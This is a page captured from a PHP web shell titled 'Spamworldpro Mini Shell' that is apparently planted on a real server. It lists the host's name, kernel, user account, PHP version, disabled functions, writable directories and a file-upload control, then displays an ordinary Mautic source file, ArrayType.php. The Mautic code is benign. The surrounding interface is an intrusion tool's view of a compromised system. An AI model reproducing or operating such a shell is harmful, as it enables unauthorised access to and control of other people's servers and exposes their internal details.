Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/Doctrine/Type/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/CoreBundle/Doctrine/Type/ArrayType.php
<?php

namespace Mautic\CoreBundle\Doctrine\Type;

use Doctrine\DBAL\Platforms\AbstractPlatform;
use Doctrine\DBAL\Types\ConversionException;

/**
 * Type that maps a PHP array to a clob SQL type.
 *
 * @since 2.0
 */
class ArrayType extends \Doctrine\DBAL\Types\ArrayType
{
    public function convertToDatabaseValue($value, AbstractPlatform $platform)
    {
        if (!is_array($value)) {
            return (null === $value) ? 'N;' : 'a:0:{}';
        }

        $serialized = serialize($value);

        if (str_contains($serialized, chr(0))) {
            $serialized = str_replace("\0", '__NULL_BYTE__', $serialized);
            throw new ConversionException('Serialized array includes null-byte. This cannot be saved as a text. Please check if you not provided object with protected or private members. Serialized Array: '.$serialized);
        }

        return $serialized;
    }

    /**
     * @param mixed $value
     *
     * @return array
     */
    public function convertToPHPValue($value, AbstractPlatform $platform)
    {
        try {
            $value = parent::convertToPHPValue($value, $platform);
            if (!is_array($value) || (1 > count($value))) {
                return $value;
            }

            foreach ($value as $key => $element) {
                if (!is_object($element)) {
                    continue;
                }

                $reflectionObject     = new \ReflectionObject($element);
                $reflectionProperties = $reflectionObject->getProperties(\ReflectionProperty::IS_PROTECTED | \ReflectionProperty::IS_PRIVATE);

                // Let's check if $value contains objects with private or protected members.
                // If it contains such objects we have to remove them from $array.
                // This will "heal" the database. There must be no null bytes.
                if (0 < count($reflectionProperties)) {
                    unset($value[$key]);
                }
            }

            return $value;
        } catch (ConversionException|\ErrorException) {
            return [];
        }
    }
}

Spamworldpro Mini